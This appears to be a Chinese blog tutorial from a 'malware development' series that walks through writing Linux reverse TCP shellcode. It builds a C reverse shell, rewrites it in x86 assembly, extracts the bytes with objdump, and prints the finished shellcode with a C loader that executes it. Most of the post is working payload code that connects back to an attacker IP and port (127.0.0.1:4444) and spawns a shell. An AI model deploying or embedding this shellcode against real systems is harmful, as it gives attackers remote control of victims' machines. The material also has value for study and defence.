恶意软件开发(五)Linux shellcoding
什么是shellcode?
Shellcode通常指的是一段用于攻击的机器码(二进制代码),可以被注入到目标计算机中并在其中执行。Shellcode 的目的是利用目标系统的漏洞或弱点,以获取系统控制权或执行恶意操作。它的名称来自于它经常被注入到攻击者编写的恶意软件的 shell 环境中,以便让攻击者可以更轻松地与目标系统进行交互和控制。
Shellcode通常是用汇编语言编写的,因为它需要直接操作计算机硬件和内存,而汇编语言是最接近机器语言的高级语言。Shellcode 通常非常小,因为它需要在目标计算机的内存中占用尽可能少的空间,以避免被检测和拦截。Shellcode可以执行各种攻击,例如缓冲区溢出、代码注入、拒绝服务攻击等。为了防止 Shellcode 的攻击,许多操作系统和应用程序采用了各种防御机制,例如 DEP(数据执行保护)、ASLR(地址空间布局随机化)等。
shellcode测试代码
可以用下面的C代码对shellcode进行测试:
int main(int argc, char ** argv) { char code[] = "shellcode"; // shellcode int (*func)(); // 函数指针 func = (int(*)()) code; // 将函数指针指向shellcode (int)(*func)(); // 执行shellcode return 1; }
C语言实现Reverse TCP Shell
C语言实现的Reverse TCP Shell分为以下几个步骤:
(1)创建套接字
(2)连接到指定ip:port
(3)通过dup2重定向stdin、stdout、stderr
(4)启动shell
代码如下:
#include <stdio.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <unistd.h> int main(void) { // 攻击者IP const char* ip = "127.0.0.1"; // 用于保存ip:port的结构体 struct sockaddr_in addr; addr.sin_family = AF_INET; // ipv4 addr.sin_port = htons(4444); // 端口 inet_aton(ip, &addr.sin_addr); // 将字符串形式的ip转换为二进制形式并存储到addr.sin_addr int sockfd = socket(AF_INET, SOCK_STREAM, 0); // 创建TCP套接字 connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)); // 连接到指定ip:port // 将当前进程的标准输入、输出和错误输出(文件描述符 0、1、2)重定向到套接字描述符sockfd for (int i = 0; i < 3; i ++) { dup2(sockfd, i); } execve("/bin/bash", NULL, NULL); return 0; }
在kali上进行调试:
汇编实现Reverse TCP Shell
在使用汇编实现之前,先补充一点必要的汇编知识:
mov eax, 32 ; 将32复制给eax寄存器 xor eax, eax ; 对eax寄存器进行异或操作,相当于清零 push eax ; 将eax压入栈中 pop ebx ; 将栈顶的值赋值给ebx寄存器 call func ; 调用func函数 int 0x80 ; 中断
实现socket()
使用汇编实现Reverse TCP Shell,需要的步骤和C语言实现是一样的,这里直接对C语言进行改写。
首先需要调用0x66
(SYS_SOCKETCALL)才可以使用套接字,首先清空eax
寄存器:
push 0x66 ; 调用sys_socketcall pop eax ; 将栈顶的值存放到eax,即eax=0x66
socketcall
调用的不同函数可以在/usr/include/linux/net.h
文件中找到:
点击查看代码
┌──(kali㉿kali)-[~] └─$ cat /usr/include/linux/net.h /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * NET An implementation of the SOCKET network access protocol. * This is the master header file for the Linux NET layer, * or, in plain English: the networking handling part of the * kernel. * * Version: @(#)net.h 1.0.3 05/25/93 * * Authors: Orest Zborowski, <obz@Kodak.COM> * Ross Biro * Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #ifndef _LINUX_NET_H #define _LINUX_NET_H #include <linux/socket.h> #include <asm/socket.h> #define NPROTO AF_MAX #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */ typedef enum { SS_FREE = 0, /* not allocated */ SS_UNCONNECTED, /* unconnected to any socket */ SS_CONNECTING, /* in process of connecting */ SS_CONNECTED, /* connected to socket */ SS_DISCONNECTING /* in process of disconnecting */ } socket_state; #define __SO_ACCEPTCON (1 << 16) /* performed a listen */ #endif /* _LINUX_NET_H */
这里使用的是SYS_SOCKET(0x1)
,将0x1
放入ebx
寄存器:
push 0x1 ; sys_socket pop ebx ; 将0x1保存到ebx
可以看到在C语言中调用socket()
时需要三个参数,socket_family
、socket_type
、protocol
,这三个参数分别在/usr/include/bits/socket.h
、/usr/include/bits/socket_type.h
、/usr/include/linux/in.h
文件中(如果没有bits
文件夹,可以通过sudo apt-get install gcc-multilib g++-multilib
命令进行修复)。
/usr/include/bits/socket.h
:
/usr/include/bits/socket_type.h
:
/usr/include/linux/in.h
:
基于此,对照C语言代码int sockfd = socket(AF_INET, SOCK_STREAM, 0);
,我们将这三个参数分别压入堆栈:
xor edx, edx ; 将edx清零 ;int socket(int domain, int type, int protocol); push edx ; protocol = IPPROTO_IP (0x0) push ebx ; socket_type = SOCK_STREAM (0x1) push 0x2 ; socket_family = AF_INET (0x2)
由于ecx
需要指向这个结构体,所以将esp
当前值赋值给ecx
mov ecx, esp ;将ecx指向栈顶
最后,调用syscall
,它会检查eax
中的值,通知内核程序想要进行的系统调用,调用完成后会将结果存储在eax
中:
int 0x80 ; syscall (exec sys_socket)
将eax
中的结果保存到edx中
xchg edx, eax ; 保存sockfd结果
实现connect()
接着实现connect(),连接到指定的IP和端口,再次使用socketcall
;int socketcall(int call, unsigned long *args); mov al, 0x66 ; socketcall 102
对照C语言代码,此时需要使用connect
,connect
函数有三个参数int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
,其中sockaddr
结构如下:
struct sockaddr_in { __kernel_sa_family_t sin_family; /* Address family */ __be16 sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ };
将sockaddr
结构所需的参数保存下来:
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order) push word 0x5c11 ; sin_port = 4444
因为在socket()
调用时处理了socket_type
,此时ebx
中的值为0x1
,而这里传参为SOCK_STREAM
,所以ebx
直接自增为0x2
即可。
inc ebx ; ebx = 0x02 push word bx ; sin_family = AF_INET
然后将指向sockaddr
结构体的堆栈指针保存到ecx
寄存器:
mov ecx, esp ;将指向sockaddr结构体的堆栈指针保存下来
后续的操作为:
push 0x10 ; addrlen = 16 push ecx ; const struct sockaddr * addr push edx ; sockfd mov ecx, esp ; 将堆栈指针保存到ecx inc ebx ; sys_connect (0x3) int 0x80 ; syscall (exec sys_connect)
实现通过dup2的重定向stdin、stdout、stderr
对应C语言中:
for (int i = 0; i < 3; i ++) { dup2(sockfd, i); }
首先,设置ecx
计数器用于循环
push 0x2 ;设置循环次数 pop ecx ;将循环次数保存到ecx
现在只需要将socket文件描述符保存到ebx
:
xchg ebx, edx
接着编写循环内的代码:
dup: mov al, 0x3f ; sys_dup2 = 63 = 0x3f int 0x80 ; syscall (exec sys_dup2) dec ecx ; 减少次数 jns dup ; SF标志位为0跳转到dup
实现execve启动shell
; int execve(const char *filename, char *const argv[],char *const envp[]); mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11) inc ecx ; argv=0 mov edx, ecx ; envp=0 push edx ; terminating NULL push 0x68732f2f ; "hs//" push 0x6e69622f ; "nib/" mov ebx, esp ; save pointer to filename int 0x80 ; syscall: exec sys_execve
完整代码
section .bss section .text global _start ;申明函数的起始地址 _start: ; linker entry point ; 创建socket ; int socketcall(int call, unsigned long *args); push 0x66 ; sys_socketcall 102 pop eax ; 将0x66保存到eax push 0x1 ; sys_socket 0x1 pop ebx ; 将0x1保存到ebx xor edx, edx ; edx清零 ; int socket(int domain, int type, int protocol); push edx ; protocol = IPPROTO_IP (0x0) push ebx ; socket_type = SOCK_STREAM (0x1) push 0x2 ; socket_family = AF_INET (0x2) mov ecx, esp ; 将堆栈指针保存到ecx int 0x80 ; syscall (exec sys_socket) xchg edx, eax ; 保存sockfd的结果 ; int socketcall(int call, unsigned long *args); mov al, 0x66 ; socketcall 102 ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order) push word 0x5c11 ; sin_port = 4444 inc ebx ; ebx = 0x02 push word bx ; sin_family = AF_INET mov ecx, esp ; 保存sockaddr堆栈指针 push 0x10 ; addrlen = 16 push ecx ; const struct sockaddr *addr push edx ; sockfd mov ecx, esp ; 在ecx中保存sockaddr_in指针 inc ebx ; sys_connect (0x3) int 0x80 ; syscall (exec sys_connect) ; 实现dup2(sockfd, i);循环 push 0x2 ; 设置循环次数 pop ecx ; 将循环次数保存到ecx xchg ebx, edx ; 保存sockfd结果 dup: mov al, 0x3f ; sys_dup2 = 63 = 0x3f int 0x80 ; syscall (exec sys_dup2) dec ecx ; 减少循环次数 jns dup ; SF标志位为0跳转到dup ; spawn /bin/sh using execve ; int execve(const char *filename, char *const argv[],char *const envp[]); mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11) inc ecx ; argv=0 mov edx, ecx ; envp=0 push edx ; terminating NULL push 0x68732f2f ; "hs//" push 0x6e69622f ; "nib/" mov ebx, esp ; 保存栈顶地址 int 0x80 ; syscall: exec sys_execve
测试汇编代码
┌──(kali㉿kali)-[~] └─$ nasm -f elf32 -o rev.o rev.asm // 将rev.asm编译成目标文件rev.o ┌──(kali㉿kali)-[~] └─$ ld -m elf_i386 -o rev rev.o // 将目标文件rev.o链接橙可执行文件rev
在本机监听444端口:
接着提取字节码:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
shellcode为:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
然后将shellcode带入开头所说的用于shellcode测试的C代码中:
int main(int argc, char ** argv) { char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; int (*func)(); func = (int(*)()) code; (int)(*func)(); return 1; }
编译C语言代码并运行:
gcc -z execstack -m32 -o testshellcode testshellcode.c
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?